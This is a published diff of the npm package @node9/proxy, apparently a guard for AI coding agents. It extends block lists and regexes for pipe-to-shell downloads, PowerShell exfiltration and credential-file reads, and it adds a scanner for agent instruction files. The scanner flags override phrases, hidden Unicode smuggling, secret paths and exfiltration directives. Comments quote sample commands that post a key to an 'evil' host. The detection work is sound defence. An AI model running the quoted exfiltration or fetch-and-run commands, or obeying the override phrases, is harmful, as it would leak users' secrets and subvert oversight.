@node9/proxy 2.20.0 → 2.21.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +281 -191
- package/dist/cli.mjs +282 -192
- package/dist/dashboard.mjs +41 -5
- package/dist/index.js +53 -5
- package/dist/index.mjs +53 -5
- package/dist/scan-ink.mjs +16 -2
- package/package.json +1 -1
package/dist/cli.mjs
CHANGED
|
@@ -4470,8 +4470,26 @@ var init_dist = __esm({
|
|
|
4470
4470
|
"--subject",
|
|
4471
4471
|
"--summary"
|
|
4472
4472
|
]);
|
|
4473
|
-
SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
4474
|
-
|
|
4473
|
+
SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
4474
|
+
"bash",
|
|
4475
|
+
"sh",
|
|
4476
|
+
"zsh",
|
|
4477
|
+
"fish",
|
|
4478
|
+
"dash",
|
|
4479
|
+
"ksh",
|
|
4480
|
+
"iex",
|
|
4481
|
+
"invoke-expression",
|
|
4482
|
+
"powershell",
|
|
4483
|
+
"pwsh"
|
|
4484
|
+
]);
|
|
4485
|
+
DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
4486
|
+
"curl",
|
|
4487
|
+
"wget",
|
|
4488
|
+
"iwr",
|
|
4489
|
+
"invoke-webrequest",
|
|
4490
|
+
"irm",
|
|
4491
|
+
"invoke-restmethod"
|
|
4492
|
+
]);
|
|
4475
4493
|
NORMALIZE_CACHE_MAX = 5e3;
|
|
4476
4494
|
normalizeCache = /* @__PURE__ */ new Map();
|
|
4477
4495
|
AST_CACHE_MAX = 5e3;
|
|
@@ -4518,7 +4536,21 @@ var init_dist = __esm({
|
|
|
4518
4536
|
"uniq",
|
|
4519
4537
|
"tac",
|
|
4520
4538
|
"nl",
|
|
4521
|
-
"dd"
|
|
4539
|
+
"dd",
|
|
4540
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
4541
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
4542
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
4543
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
4544
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
4545
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
4546
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
4547
|
+
"get-content",
|
|
4548
|
+
"gc",
|
|
4549
|
+
"select-string",
|
|
4550
|
+
"sls",
|
|
4551
|
+
"format-hex",
|
|
4552
|
+
"import-csv",
|
|
4553
|
+
"import-clixml"
|
|
4522
4554
|
]);
|
|
4523
4555
|
GREP_SHAPE = {
|
|
4524
4556
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -5114,6 +5146,12 @@ var init_dist = __esm({
|
|
|
5114
5146
|
FIND_EXEC_FLAGS = /* @__PURE__ */ new Set(["-exec", "-execdir", "-ok", "-okdir"]);
|
|
5115
5147
|
INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
|
|
5116
5148
|
NET_BINARIES = /* @__PURE__ */ new Set([
|
|
5149
|
+
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
5150
|
+
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
5151
|
+
"iwr",
|
|
5152
|
+
"invoke-webrequest",
|
|
5153
|
+
"irm",
|
|
5154
|
+
"invoke-restmethod",
|
|
5117
5155
|
"curl",
|
|
5118
5156
|
"wget",
|
|
5119
5157
|
"scp",
|
|
@@ -5285,6 +5323,12 @@ var init_dist = __esm({
|
|
|
5285
5323
|
PRIVATE_HOST_SUFFIXES = [".local", ".internal", ".localhost"];
|
|
5286
5324
|
SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
|
|
5287
5325
|
SINK_COMMANDS = /* @__PURE__ */ new Set([
|
|
5326
|
+
// PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
|
|
5327
|
+
// is `cat key | curl`, and scored nothing.
|
|
5328
|
+
"iwr",
|
|
5329
|
+
"invoke-webrequest",
|
|
5330
|
+
"irm",
|
|
5331
|
+
"invoke-restmethod",
|
|
5288
5332
|
"curl",
|
|
5289
5333
|
"wget",
|
|
5290
5334
|
"nc",
|
|
@@ -5492,7 +5536,7 @@ var init_dist = __esm({
|
|
|
5492
5536
|
{
|
|
5493
5537
|
field: "command",
|
|
5494
5538
|
op: "matches",
|
|
5495
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
5539
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
5496
5540
|
flags: "i"
|
|
5497
5541
|
}
|
|
5498
5542
|
],
|
|
@@ -6277,7 +6321,7 @@ var init_dist = __esm({
|
|
|
6277
6321
|
{ view: "separators-stripped", decoder: "separators", stripped: true }
|
|
6278
6322
|
];
|
|
6279
6323
|
LONG_OUTPUT_THRESHOLD_BYTES = 100 * 1024;
|
|
6280
|
-
CANONICAL_EXTRACTOR_VERSION = "canonical-
|
|
6324
|
+
CANONICAL_EXTRACTOR_VERSION = "canonical-v17";
|
|
6281
6325
|
DEDUPE_PREVIEW_LEN = 120;
|
|
6282
6326
|
ENGINE_VERSION = "1.4.0";
|
|
6283
6327
|
}
|
|
@@ -7747,7 +7791,11 @@ var init_config = __esm({
|
|
|
7747
7791
|
op: "matches",
|
|
7748
7792
|
// Anchor curl/wget as a shell command so node -e scripts testing this
|
|
7749
7793
|
// regex pattern don't self-match as a false positive.
|
|
7750
|
-
|
|
7794
|
+
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
7795
|
+
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
7796
|
+
// either list gains a name this regex does not. The PowerShell sinks
|
|
7797
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`.
|
|
7798
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
7751
7799
|
flags: "i"
|
|
7752
7800
|
}
|
|
7753
7801
|
],
|
|
@@ -11410,7 +11458,7 @@ function printInlineAskNotice() {
|
|
|
11410
11458
|
)
|
|
11411
11459
|
);
|
|
11412
11460
|
}
|
|
11413
|
-
function fullPathCommand(subcommand, platform = process.platform) {
|
|
11461
|
+
function fullPathCommand(subcommand, platform = process.platform, home = os16.homedir()) {
|
|
11414
11462
|
if (process.env.NODE9_TESTING === "1") return `node9 ${subcommand}`;
|
|
11415
11463
|
const nodeExec = toForwardSlashes(process.execPath);
|
|
11416
11464
|
const cliScript = toForwardSlashes(process.argv[1]);
|
|
@@ -11419,7 +11467,31 @@ function fullPathCommand(subcommand, platform = process.platform) {
|
|
|
11419
11467
|
return isWindows ? `node9 ${subcommand}` : `"${cliScript}" ${subcommand}`;
|
|
11420
11468
|
}
|
|
11421
11469
|
if (isWindows) return `node "${cliScript}" ${subcommand}`;
|
|
11422
|
-
|
|
11470
|
+
ensureHookShim(home, nodeExec, cliScript);
|
|
11471
|
+
return `"${toForwardSlashes(hookShimPath(home))}" ${subcommand}`;
|
|
11472
|
+
}
|
|
11473
|
+
function hookShimPath(home = os16.homedir()) {
|
|
11474
|
+
return path20.join(home, ".node9", "bin", "hook");
|
|
11475
|
+
}
|
|
11476
|
+
function hookShimBody(nodeExec, cliScript) {
|
|
11477
|
+
return `#!/bin/sh
|
|
11478
|
+
# node9 hook shim \u2014 written by \`node9 init\` / \`node9 agents add\`. Do not edit.
|
|
11479
|
+
# Agents call this fixed path; node9 rewrites the line below on upgrade so
|
|
11480
|
+
# the hook command they trusted never changes (Codex keys trust to it).
|
|
11481
|
+
exec "${nodeExec}" "${cliScript}" "$@"
|
|
11482
|
+
`;
|
|
11483
|
+
}
|
|
11484
|
+
function ensureHookShim(home, nodeExec, cliScript) {
|
|
11485
|
+
const shim = hookShimPath(home);
|
|
11486
|
+
const body = hookShimBody(nodeExec, cliScript);
|
|
11487
|
+
try {
|
|
11488
|
+
if (fs19.readFileSync(shim, "utf-8") === body) return false;
|
|
11489
|
+
} catch {
|
|
11490
|
+
}
|
|
11491
|
+
fs19.mkdirSync(path20.dirname(shim), { recursive: true });
|
|
11492
|
+
fs19.writeFileSync(shim, body, { mode: 493 });
|
|
11493
|
+
fs19.chmodSync(shim, 493);
|
|
11494
|
+
return true;
|
|
11423
11495
|
}
|
|
11424
11496
|
function toForwardSlashes(p) {
|
|
11425
11497
|
return p.replace(/\\/g, "/");
|
|
@@ -11450,8 +11522,12 @@ function isWindowsQuoteBrokenHook(command, platform = process.platform) {
|
|
|
11450
11522
|
if (platform !== "win32") return false;
|
|
11451
11523
|
return command.trimStart().startsWith('"');
|
|
11452
11524
|
}
|
|
11525
|
+
function isChurnProneHookForm(command, platform = process.platform) {
|
|
11526
|
+
if (!command || platform === "win32") return false;
|
|
11527
|
+
return /^"[^"]+" "[^"]*cli\.js" (?:check|log|hud)\b/.test(command.trim());
|
|
11528
|
+
}
|
|
11453
11529
|
function needsRewrite(command, platform = process.platform) {
|
|
11454
|
-
return isStaleHookCommand(command) || isLegacyHookFormat(command) || isWindowsQuoteBrokenHook(command, platform);
|
|
11530
|
+
return isStaleHookCommand(command) || isLegacyHookFormat(command) || isWindowsQuoteBrokenHook(command, platform) || isChurnProneHookForm(command, platform);
|
|
11455
11531
|
}
|
|
11456
11532
|
function readJson(filePath) {
|
|
11457
11533
|
try {
|
|
@@ -11487,7 +11563,11 @@ function repairLegacyMcpWraps(servers) {
|
|
|
11487
11563
|
}
|
|
11488
11564
|
function isNode9Hook(cmd) {
|
|
11489
11565
|
if (!cmd) return false;
|
|
11490
|
-
return /(?:^|[\s/\\"])node9"? (?:check|log)/.test(cmd) || /(?:^|[\s/\\])cli\.js"? (?:check|log)/.test(cmd)
|
|
11566
|
+
return /(?:^|[\s/\\"])node9"? (?:check|log)/.test(cmd) || /(?:^|[\s/\\])cli\.js"? (?:check|log)/.test(cmd) || // The shim form: "<home>/.node9/bin/hook" check. Without this alternative a
|
|
11567
|
+
// freshly wired install reads back as "not wired" and setup appends
|
|
11568
|
+
// duplicate hooks on every re-run — the same trap the quoted-binary form
|
|
11569
|
+
// fell into after #185.
|
|
11570
|
+
/[/\\]\.node9[/\\]bin[/\\]hook"? (?:check|log)/.test(cmd);
|
|
11491
11571
|
}
|
|
11492
11572
|
function teardownClaude() {
|
|
11493
11573
|
const homeDir2 = os16.homedir();
|
|
@@ -59114,8 +59194,196 @@ function registerPostureCommand(program2) {
|
|
|
59114
59194
|
import chalk33 from "chalk";
|
|
59115
59195
|
|
|
59116
59196
|
// src/ci-check/fetch.ts
|
|
59117
|
-
var import_undici = __toESM(require_undici());
|
|
59118
59197
|
import fs70 from "fs";
|
|
59198
|
+
|
|
59199
|
+
// src/ci-check/instructions.ts
|
|
59200
|
+
var TAG_CHARS = /[\u{E0000}-\u{E007F}]/u;
|
|
59201
|
+
var BIDI_OVERRIDE = /[]/;
|
|
59202
|
+
var BIDI_EMBED_ISOLATE = /[--]/;
|
|
59203
|
+
function isZwLegitScript(cp) {
|
|
59204
|
+
if (cp === void 0) return false;
|
|
59205
|
+
return cp >= 3584 && cp <= 3711 || cp >= 3712 && cp <= 3839 || cp >= 4096 && cp <= 4255 || cp >= 6016 && cp <= 6143 || cp >= 12352 && cp <= 12543 || cp >= 13312 && cp <= 40959 || cp >= 44032 && cp <= 55215;
|
|
59206
|
+
}
|
|
59207
|
+
var isAsciiWordChar = (ch) => !!ch && /[A-Za-z0-9]/.test(ch);
|
|
59208
|
+
function suspiciousZeroWidth(text) {
|
|
59209
|
+
let n = 0;
|
|
59210
|
+
for (let i = 0; i < text.length; i++) {
|
|
59211
|
+
const c = text.charCodeAt(i);
|
|
59212
|
+
if (c !== 8203 && c !== 8288) continue;
|
|
59213
|
+
if (isZwLegitScript(text.codePointAt(i - 1)) || isZwLegitScript(text.codePointAt(i + 1)))
|
|
59214
|
+
continue;
|
|
59215
|
+
const prev = text[i - 1];
|
|
59216
|
+
const next = text[i + 1];
|
|
59217
|
+
if (!prev || !next || /\s/.test(prev) || /\s/.test(next)) continue;
|
|
59218
|
+
if (isAsciiWordChar(prev) && isAsciiWordChar(next)) n++;
|
|
59219
|
+
}
|
|
59220
|
+
return n;
|
|
59221
|
+
}
|
|
59222
|
+
var stripZeroWidth = (t) => t.replace(/[]/g, "");
|
|
59223
|
+
var INSTRUCTION_FILE_RE = /(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)\.cursorrules$|(^|\/)\.(windsurf|cline)rules$|(^|\/)copilot-instructions\.md$|(^|\/)SKILL\.md$|(^|\/)\.claude\/agents\/[^/]+\.md$|(^|\/)\.claude\/commands\/.+\.md$/;
|
|
59224
|
+
var OVERRIDE_RE = /ignore\s+(all\s+)?(previous|prior|the\s+above)\s+(instructions|prompts?|rules)|disregard\s+(the\s+|your\s+)?(system\s+)?(prompt|instructions|rules)|forget\s+(everything|all\s+(previous|prior))|you\s+are\s+now\s+(a|an|the)\b|<\/?system>/i;
|
|
59225
|
+
var FETCH_OBEY_RE = /\b(curl|wget|iwr|invoke-webrequest)\b[^\n|]*\|\s*(bash|sh|zsh|python3?(?!\s+-m\s+json\.tool\b)|node|iex)\b|\b(curl|wget)\b[^\n]*&&[^\n]*\b(bash|sh)\b/i;
|
|
59226
|
+
var SECRET_PATH_RE = /~\/\.aws\/credentials|~\/\.ssh\/id_[a-z]+|~\/\.config\/gh\/hosts|read\s+the\s+(token|secret|api[_ ]?key|password)\s+(in|from)\s+[.`'"]?\.?env/i;
|
|
59227
|
+
var EXFIL_RE = /\b(post|send|upload|exfiltrate|forward)\b(?!\s+(the\s+|your\s+)?(users?|them|him|her|people|visitors?|customers?|readers?)\b)[^\n]{0,40}\b(to|at)\b[^\n]{0,50}(https?:\/\/|webhook|hook\.[a-z])/i;
|
|
59228
|
+
var HUMAN_SECTION_RE = /^#+\s.*\b(install(ation|ers?|ing|s)?|setup|set ?up|getting started|quick ?start|contributing|contribution|development|dev setup|build|prerequisites|requirements|usage)\b/i;
|
|
59229
|
+
var NEGATION_RE = /\b(never|do not|don'?t|avoid|must not|should not|no need to|refuse to)\b/i;
|
|
59230
|
+
function isNegated(text, idx) {
|
|
59231
|
+
return NEGATION_RE.test(text.slice(Math.max(0, idx - 40), idx));
|
|
59232
|
+
}
|
|
59233
|
+
var EXAMPLE_FRAMING_RE = /\b(like|such as|e\.g\.|for example|examples?|including|shaped like|inert|block ?list|blocked|blocks?|patterns?|treat|labels?|strings?|phrases?|reject|flags?|detects?|matches)\b/i;
|
|
59234
|
+
function isQuotedExample(text, idx, len) {
|
|
59235
|
+
const open = text[idx - 1];
|
|
59236
|
+
const close = text[idx + len];
|
|
59237
|
+
const quoted = (open === '"' || open === "'" || open === "`") && close === open;
|
|
59238
|
+
return quoted && EXAMPLE_FRAMING_RE.test(text.slice(Math.max(0, idx - 120), idx));
|
|
59239
|
+
}
|
|
59240
|
+
function inHumanSection(text, idx) {
|
|
59241
|
+
const heading = text.slice(0, idx).split("\n").reverse().find((l) => /^#+\s/.test(l));
|
|
59242
|
+
return !!heading && HUMAN_SECTION_RE.test(heading);
|
|
59243
|
+
}
|
|
59244
|
+
function decodeSuspiciousBase64(text) {
|
|
59245
|
+
let out = "";
|
|
59246
|
+
for (const m of text.matchAll(/[A-Za-z0-9+/]{40,}={0,2}/g)) {
|
|
59247
|
+
try {
|
|
59248
|
+
const d = Buffer.from(m[0], "base64").toString("utf8");
|
|
59249
|
+
if (/[\x20-\x7E]{16,}/.test(d) && /[a-z]{4,}/i.test(d)) out += " " + d;
|
|
59250
|
+
} catch {
|
|
59251
|
+
}
|
|
59252
|
+
}
|
|
59253
|
+
return out;
|
|
59254
|
+
}
|
|
59255
|
+
function mk(rule, severity, title, signals, fix, path79) {
|
|
59256
|
+
return {
|
|
59257
|
+
check: "CI-6",
|
|
59258
|
+
rule,
|
|
59259
|
+
dimension: "instructions",
|
|
59260
|
+
severity,
|
|
59261
|
+
title,
|
|
59262
|
+
file: path79,
|
|
59263
|
+
signals,
|
|
59264
|
+
fix
|
|
59265
|
+
};
|
|
59266
|
+
}
|
|
59267
|
+
function analyzeInstructionFile(path79, content) {
|
|
59268
|
+
const findings = [];
|
|
59269
|
+
const decoded = decodeSuspiciousBase64(content);
|
|
59270
|
+
if (TAG_CHARS.test(content))
|
|
59271
|
+
findings.push(
|
|
59272
|
+
mk(
|
|
59273
|
+
"CI-6.unicode-tag-chars",
|
|
59274
|
+
"critical",
|
|
59275
|
+
"Unicode tag characters in an agent instruction file",
|
|
59276
|
+
[
|
|
59277
|
+
"contains Unicode tag characters (U+E0000\u2013E007F) \u2014 an invisible instruction-smuggling channel with no legitimate use in text"
|
|
59278
|
+
],
|
|
59279
|
+
"Remove the tag characters. Instruction files must be plain, reviewable text.",
|
|
59280
|
+
path79
|
|
59281
|
+
)
|
|
59282
|
+
);
|
|
59283
|
+
if (BIDI_OVERRIDE.test(content))
|
|
59284
|
+
findings.push(
|
|
59285
|
+
mk(
|
|
59286
|
+
"CI-6.bidi-override",
|
|
59287
|
+
"critical",
|
|
59288
|
+
"Bidirectional override characters in an agent instruction file",
|
|
59289
|
+
[
|
|
59290
|
+
"contains a bidi override (U+202D/U+202E) \u2014 a Trojan-Source technique that visually reorders text so a human reads something different from what the agent parses"
|
|
59291
|
+
],
|
|
59292
|
+
"Remove the bidi override characters.",
|
|
59293
|
+
path79
|
|
59294
|
+
)
|
|
59295
|
+
);
|
|
59296
|
+
else if (BIDI_EMBED_ISOLATE.test(content))
|
|
59297
|
+
findings.push(
|
|
59298
|
+
mk(
|
|
59299
|
+
"CI-6.bidi-formatting",
|
|
59300
|
+
"advisory",
|
|
59301
|
+
"Bidirectional formatting characters in an agent instruction file",
|
|
59302
|
+
[
|
|
59303
|
+
"contains bidi embed/isolate characters (U+202A\u2013202C / U+2066\u20132069) \u2014 legitimate in right-to-left text, but confirm they are not being used to hide or reorder instructions"
|
|
59304
|
+
],
|
|
59305
|
+
"Confirm the bidi marks are legitimate RTL formatting; remove otherwise.",
|
|
59306
|
+
path79
|
|
59307
|
+
)
|
|
59308
|
+
);
|
|
59309
|
+
const zw = suspiciousZeroWidth(content);
|
|
59310
|
+
if (zw > 0) {
|
|
59311
|
+
const revealed = OVERRIDE_RE.test(stripZeroWidth(content)) && !OVERRIDE_RE.test(content);
|
|
59312
|
+
findings.push(
|
|
59313
|
+
mk(
|
|
59314
|
+
"CI-6.zero-width",
|
|
59315
|
+
revealed ? "critical" : "medium",
|
|
59316
|
+
"Zero-width characters splitting text in an agent instruction file",
|
|
59317
|
+
[
|
|
59318
|
+
revealed ? "a zero-width character conceals a prompt-override directive that only appears once the hidden characters are stripped" : "a zero-width character splits a visible Latin word \u2014 a concealment technique (hides text from human review while the agent reads it as contiguous)"
|
|
59319
|
+
],
|
|
59320
|
+
"Remove the zero-width characters. Instruction files must be plain, reviewable text.",
|
|
59321
|
+
path79
|
|
59322
|
+
)
|
|
59323
|
+
);
|
|
59324
|
+
}
|
|
59325
|
+
const ovRaw = OVERRIDE_RE.exec(content);
|
|
59326
|
+
const ov = ovRaw && !isQuotedExample(content, ovRaw.index, ovRaw[0].length) ? ovRaw : null;
|
|
59327
|
+
const ovEnc = !ov ? OVERRIDE_RE.exec(decoded) : null;
|
|
59328
|
+
if (ov || ovEnc) {
|
|
59329
|
+
const m = ov || ovEnc;
|
|
59330
|
+
findings.push(
|
|
59331
|
+
mk(
|
|
59332
|
+
"CI-6.prompt-override",
|
|
59333
|
+
ovEnc ? "critical" : "high",
|
|
59334
|
+
"Prompt-override directive in an agent instruction file",
|
|
59335
|
+
[
|
|
59336
|
+
`contains a prompt-override / role-impersonation directive (\`${m[0].slice(0, 60).trim()}\`)${ovEnc ? " \u2014 concealed in a base64 blob" : ""}`
|
|
59337
|
+
],
|
|
59338
|
+
"Remove the override text. An instruction file should not tell the agent to ignore its own rules.",
|
|
59339
|
+
path79
|
|
59340
|
+
)
|
|
59341
|
+
);
|
|
59342
|
+
}
|
|
59343
|
+
const fo = FETCH_OBEY_RE.exec(content);
|
|
59344
|
+
if (fo && !inHumanSection(content, fo.index) && !isNegated(content, fo.index) && !isQuotedExample(content, fo.index, fo[0].length)) {
|
|
59345
|
+
findings.push(
|
|
59346
|
+
mk(
|
|
59347
|
+
"CI-6.fetch-and-obey",
|
|
59348
|
+
"medium",
|
|
59349
|
+
"Instruction directs the agent to fetch and run remote code",
|
|
59350
|
+
[`\`${fo[0].slice(0, 70).trim()}\` \u2014 fetch-and-obey, outside an install/setup section`],
|
|
59351
|
+
"Do not instruct the agent to pipe remote content into a shell; pin and vendor scripts instead.",
|
|
59352
|
+
path79
|
|
59353
|
+
)
|
|
59354
|
+
);
|
|
59355
|
+
}
|
|
59356
|
+
const sp = SECRET_PATH_RE.exec(content);
|
|
59357
|
+
if (sp && !isNegated(content, sp.index)) {
|
|
59358
|
+
findings.push(
|
|
59359
|
+
mk(
|
|
59360
|
+
"CI-6.secret-path",
|
|
59361
|
+
"medium",
|
|
59362
|
+
"Instruction points the agent at credential material",
|
|
59363
|
+
[`references \`${sp[0].slice(0, 50).trim()}\` \u2014 directs the agent toward secrets`],
|
|
59364
|
+
"Do not reference credential files or paths in agent instructions.",
|
|
59365
|
+
path79
|
|
59366
|
+
)
|
|
59367
|
+
);
|
|
59368
|
+
}
|
|
59369
|
+
const ex = EXFIL_RE.exec(content);
|
|
59370
|
+
if (ex && !inHumanSection(content, ex.index) && !isNegated(content, ex.index)) {
|
|
59371
|
+
findings.push(
|
|
59372
|
+
mk(
|
|
59373
|
+
"CI-6.exfil-directive",
|
|
59374
|
+
"medium",
|
|
59375
|
+
"Instruction directs the agent to send data to an external endpoint",
|
|
59376
|
+
[`\`${ex[0].slice(0, 70).trim()}\` \u2014 possible exfiltration directive`],
|
|
59377
|
+
"Remove external post/upload directives from agent instructions.",
|
|
59378
|
+
path79
|
|
59379
|
+
)
|
|
59380
|
+
);
|
|
59381
|
+
}
|
|
59382
|
+
return findings;
|
|
59383
|
+
}
|
|
59384
|
+
|
|
59385
|
+
// src/ci-check/fetch.ts
|
|
59386
|
+
var import_undici = __toESM(require_undici());
|
|
59119
59387
|
import path65 from "path";
|
|
59120
59388
|
import { execFileSync as execFileSync2 } from "child_process";
|
|
59121
59389
|
var cachedGhToken;
|
|
@@ -59151,7 +59419,8 @@ var SURFACE_FILES = [
|
|
|
59151
59419
|
".clinerules"
|
|
59152
59420
|
];
|
|
59153
59421
|
var WORKFLOW_DIR = ".github/workflows";
|
|
59154
|
-
var
|
|
59422
|
+
var CONFIG_FILE_RE = /(^|\/)\.claude\/settings(\.local)?\.json$|(^|\/)\.mcp\.json$|(^|\/)\.cursor\/mcp\.json$|(^|\/)\.codex\/config\.toml$/;
|
|
59423
|
+
var SURFACE_BASENAME = new RegExp(`${INSTRUCTION_FILE_RE.source}|${CONFIG_FILE_RE.source}`);
|
|
59155
59424
|
var IGNORE_HARD = /(^|\/)(node_modules|vendor|\.git|\.next|\.venv|site-packages)\//;
|
|
59156
59425
|
var IGNORE_SOFT = /(^|\/)(dist|build|out|target)\//;
|
|
59157
59426
|
var isIgnoredDir = (relSlash) => IGNORE_HARD.test(relSlash) || IGNORE_SOFT.test(relSlash);
|
|
@@ -60109,183 +60378,6 @@ function analyzeCodexConfig(path79, content) {
|
|
|
60109
60378
|
return findings;
|
|
60110
60379
|
}
|
|
60111
60380
|
|
|
60112
|
-
// src/ci-check/instructions.ts
|
|
60113
|
-
var TAG_CHARS = /[\u{E0000}-\u{E007F}]/u;
|
|
60114
|
-
var BIDI_OVERRIDE = /[]/;
|
|
60115
|
-
var BIDI_EMBED_ISOLATE = /[--]/;
|
|
60116
|
-
function isZwLegitScript(cp) {
|
|
60117
|
-
if (cp === void 0) return false;
|
|
60118
|
-
return cp >= 3584 && cp <= 3711 || cp >= 3712 && cp <= 3839 || cp >= 4096 && cp <= 4255 || cp >= 6016 && cp <= 6143 || cp >= 12352 && cp <= 12543 || cp >= 13312 && cp <= 40959 || cp >= 44032 && cp <= 55215;
|
|
60119
|
-
}
|
|
60120
|
-
var isAsciiWordChar = (ch) => !!ch && /[A-Za-z0-9]/.test(ch);
|
|
60121
|
-
function suspiciousZeroWidth(text) {
|
|
60122
|
-
let n = 0;
|
|
60123
|
-
for (let i = 0; i < text.length; i++) {
|
|
60124
|
-
const c = text.charCodeAt(i);
|
|
60125
|
-
if (c !== 8203 && c !== 8288) continue;
|
|
60126
|
-
if (isZwLegitScript(text.codePointAt(i - 1)) || isZwLegitScript(text.codePointAt(i + 1)))
|
|
60127
|
-
continue;
|
|
60128
|
-
const prev = text[i - 1];
|
|
60129
|
-
const next = text[i + 1];
|
|
60130
|
-
if (!prev || !next || /\s/.test(prev) || /\s/.test(next)) continue;
|
|
60131
|
-
if (isAsciiWordChar(prev) && isAsciiWordChar(next)) n++;
|
|
60132
|
-
}
|
|
60133
|
-
return n;
|
|
60134
|
-
}
|
|
60135
|
-
var stripZeroWidth = (t) => t.replace(/[]/g, "");
|
|
60136
|
-
var OVERRIDE_RE = /ignore\s+(all\s+)?(previous|prior|the\s+above)\s+(instructions|prompts?|rules)|disregard\s+(the\s+|your\s+)?(system\s+)?(prompt|instructions|rules)|forget\s+(everything|all\s+(previous|prior))|you\s+are\s+now\s+(a|an|the)\b|<\/?system>/i;
|
|
60137
|
-
var FETCH_OBEY_RE = /\b(curl|wget|iwr|invoke-webrequest)\b[^\n|]*\|\s*(bash|sh|zsh|python3?|node|iex)\b|\b(curl|wget)\b[^\n]*&&[^\n]*\b(bash|sh)\b/i;
|
|
60138
|
-
var SECRET_PATH_RE = /~\/\.aws\/credentials|~\/\.ssh\/id_[a-z]+|~\/\.config\/gh\/hosts|read\s+the\s+(token|secret|api[_ ]?key|password)\s+(in|from)\s+[.`'"]?\.?env/i;
|
|
60139
|
-
var EXFIL_RE = /\b(post|send|upload|exfiltrate|forward)\b[^\n]{0,40}\b(to|at)\b[^\n]{0,50}(https?:\/\/|webhook|hook\.[a-z])/i;
|
|
60140
|
-
var HUMAN_SECTION_RE = /^#+\s*(install|installation|setup|set ?up|getting started|quick ?start|contributing|contribution|development|dev setup|build|prerequisites|requirements|usage)\b/i;
|
|
60141
|
-
var NEGATION_RE = /\b(never|do not|don'?t|avoid|must not|should not|no need to|refuse to)\b/i;
|
|
60142
|
-
function isNegated(text, idx) {
|
|
60143
|
-
return NEGATION_RE.test(text.slice(Math.max(0, idx - 40), idx));
|
|
60144
|
-
}
|
|
60145
|
-
function inHumanSection(text, idx) {
|
|
60146
|
-
const heading = text.slice(0, idx).split("\n").reverse().find((l) => /^#+\s/.test(l));
|
|
60147
|
-
return !!heading && HUMAN_SECTION_RE.test(heading);
|
|
60148
|
-
}
|
|
60149
|
-
function decodeSuspiciousBase64(text) {
|
|
60150
|
-
let out = "";
|
|
60151
|
-
for (const m of text.matchAll(/[A-Za-z0-9+/]{40,}={0,2}/g)) {
|
|
60152
|
-
try {
|
|
60153
|
-
const d = Buffer.from(m[0], "base64").toString("utf8");
|
|
60154
|
-
if (/[\x20-\x7E]{16,}/.test(d) && /[a-z]{4,}/i.test(d)) out += " " + d;
|
|
60155
|
-
} catch {
|
|
60156
|
-
}
|
|
60157
|
-
}
|
|
60158
|
-
return out;
|
|
60159
|
-
}
|
|
60160
|
-
function mk(rule, severity, title, signals, fix, path79) {
|
|
60161
|
-
return {
|
|
60162
|
-
check: "CI-6",
|
|
60163
|
-
rule,
|
|
60164
|
-
dimension: "instructions",
|
|
60165
|
-
severity,
|
|
60166
|
-
title,
|
|
60167
|
-
file: path79,
|
|
60168
|
-
signals,
|
|
60169
|
-
fix
|
|
60170
|
-
};
|
|
60171
|
-
}
|
|
60172
|
-
function analyzeInstructionFile(path79, content) {
|
|
60173
|
-
const findings = [];
|
|
60174
|
-
const decoded = decodeSuspiciousBase64(content);
|
|
60175
|
-
if (TAG_CHARS.test(content))
|
|
60176
|
-
findings.push(
|
|
60177
|
-
mk(
|
|
60178
|
-
"CI-6.unicode-tag-chars",
|
|
60179
|
-
"critical",
|
|
60180
|
-
"Unicode tag characters in an agent instruction file",
|
|
60181
|
-
[
|
|
60182
|
-
"contains Unicode tag characters (U+E0000\u2013E007F) \u2014 an invisible instruction-smuggling channel with no legitimate use in text"
|
|
60183
|
-
],
|
|
60184
|
-
"Remove the tag characters. Instruction files must be plain, reviewable text.",
|
|
60185
|
-
path79
|
|
60186
|
-
)
|
|
60187
|
-
);
|
|
60188
|
-
if (BIDI_OVERRIDE.test(content))
|
|
60189
|
-
findings.push(
|
|
60190
|
-
mk(
|
|
60191
|
-
"CI-6.bidi-override",
|
|
60192
|
-
"critical",
|
|
60193
|
-
"Bidirectional override characters in an agent instruction file",
|
|
60194
|
-
[
|
|
60195
|
-
"contains a bidi override (U+202D/U+202E) \u2014 a Trojan-Source technique that visually reorders text so a human reads something different from what the agent parses"
|
|
60196
|
-
],
|
|
60197
|
-
"Remove the bidi override characters.",
|
|
60198
|
-
path79
|
|
60199
